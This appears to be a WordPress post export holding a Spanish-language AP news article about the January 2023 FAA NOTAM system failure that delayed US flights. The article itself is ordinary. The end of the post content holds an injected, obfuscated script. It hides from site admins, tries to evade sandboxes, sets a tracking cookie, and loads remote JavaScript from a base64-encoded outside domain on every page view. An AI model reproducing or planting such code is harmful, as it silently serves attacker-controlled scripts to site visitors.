{"id":13238,"date":"2023-01-11T11:07:37","date_gmt":"2023-01-11T15:07:37","guid":{"rendered":"https:\/\/yanessiespinal.com\/?p=13238"},"modified":"2023-01-11T11:07:37","modified_gmt":"2023-01-11T15:07:37","slug":"eeuu-deja-en-tierra-todos-sus-vuelos-por-un-fallo-informatico-de-la-faa","status":"publish","type":"post","link":"https:\/\/enterarterd.com\/?p=13238","title":{"rendered":"EEUU deja en tierra todos sus vuelos por un fallo inform\u00e1tico de la FAA"},"content":{"rendered":"<p><strong>AP<\/strong>. Un <strong>fallo inform\u00e1tico<\/strong>\u00a0en la\u00a0<strong>Administraci\u00f3n Federal de Aviaci\u00f3n\u00a0<\/strong>(<strong>FAA<\/strong>) paraliz\u00f3 los\u00a0<strong>vuelos<\/strong>\u00a0en todo Estados Unidos el mi\u00e9rcoles, cientos fueron demorados, y otros cancelados, generando r\u00e1pidamente una cascada de retrasos en los sistemas aeroportuarios de todo el pa\u00eds.<\/p>\n<p><strong>La FAA orden\u00f3 que todos los vuelos en Estados Unidos retrasaran las salidas hasta las 9 a.m., hora del este, aunque las aerol\u00edneas dijeron que estaban al tanto de la situaci\u00f3n y que ya hab\u00edan comenzado a aterrizar los vuelos.<\/strong><\/p>\n<p><strong>Poco antes de las 7:30 a.m., hab\u00eda unos 1,200 vuelos retrasados dentro, con destino o salida del pa\u00eds, seg\u00fan el cibersitio de seguimiento de vuelos FlightAware. M\u00e1s de 100 fueron cancelados.<\/strong><\/p>\n<div id=\"dl_300x250_inread\" data-google-query-id=\"CIysqf7kv_wCFYIK0AQdtEoDaw\">\n<div id=\"google_ads_iframe_\/1659553\/dl_300x250_inread_0__container__\">La mayor\u00eda de los incidentes se concentraban en la Costa Este del pa\u00eds, pero se estaban extendiendo al oeste. Los <strong>vuelos<\/strong>\u00a0internacionales que llegaban al Aeropuerto Internacional de Miami continuaron aterrizando, pero todas las salidas se retrasaron desde las 6:30 a. m., dijo el portavoz del aeropuerto Greg Chin.<\/div>\n<\/div>\n<div class=\"w-full pt-2 float-left inside-related\"><\/div>\n<p>La\u00a0<strong>FAA<\/strong>\u00a0explic\u00f3 en un tuit que estaba trabajando para restaurar lo que se conoce como Sistema de Notificaci\u00f3n a Misiones A\u00e9reas (NOTAM).<\/p>\n<p><strong>\u201cEstamos realizando comprobaciones finales de validaci\u00f3n y reiniciando el sistema\u201d, indic\u00f3 la agencia. \u201cLas operaciones en todo el espacio a\u00e9reos estadounidense est\u00e1n afectadas\u201d.<\/strong><\/p>\n<p>Antes de comenzar un vuelo, los pilotos deben consultar el sistema NOTAM, donde se informa sobre incidencias que puedan afectar los\u00a0<strong>vuelos<\/strong>, desde la construcci\u00f3n de una pista hasta la posibilidad de formaci\u00f3n de hielo y otra informaci\u00f3n rutinaria. El NOTAM sol\u00eda estar disponible a trav\u00e9s de una l\u00ednea telef\u00f3nica, pero se elimin\u00f3 gradualmente con internet. La interrupci\u00f3n del servicio puede causar trastornos generalizados. Todas las aeronaves deben pasar por el sistema, incluyendo los\u00a0<strong>vuelos<\/strong>\u00a0comerciales y militares.<\/p>\n<p><strong>La agencia dijo que proporcionar\u00eda actualizaciones frecuentes a medida que haya avances.<\/strong><\/p>\n<p>El secretario de Transporte, Pete Buttigieg, indic\u00f3 en un tuit que est\u00e1 en contacto con la\u00a0<strong>FAA<\/strong>\u00a0y monitorea la situaci\u00f3n.<\/p>\n<p><strong>United Airlines dijo que retras\u00f3 temporalmente todos los vuelos nacionales y que emitir\u00eda una actualizaci\u00f3n una vez que supiera m\u00e1s de la FAA.<\/strong><\/p>\n<p>Existe la posibilidad de una interrupci\u00f3n generalizada debido a la interrupci\u00f3n del NOTAM. Todas las aeronaves deben realizar rutas a trav\u00e9s del sistema, incluidos los\u00a0<strong>vuelos<\/strong>\u00a0comerciales y militares.<\/p>\n<p><strong>Los vuelos europeos hacia Estados Unidos parec\u00edan no verse muy afectados.<\/strong><\/p>\n<p>La\u00a0<strong>FAA<\/strong>\u00a0dijo que proporcionar\u00eda actualizaciones frecuentes a medida que progresara.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>AP. 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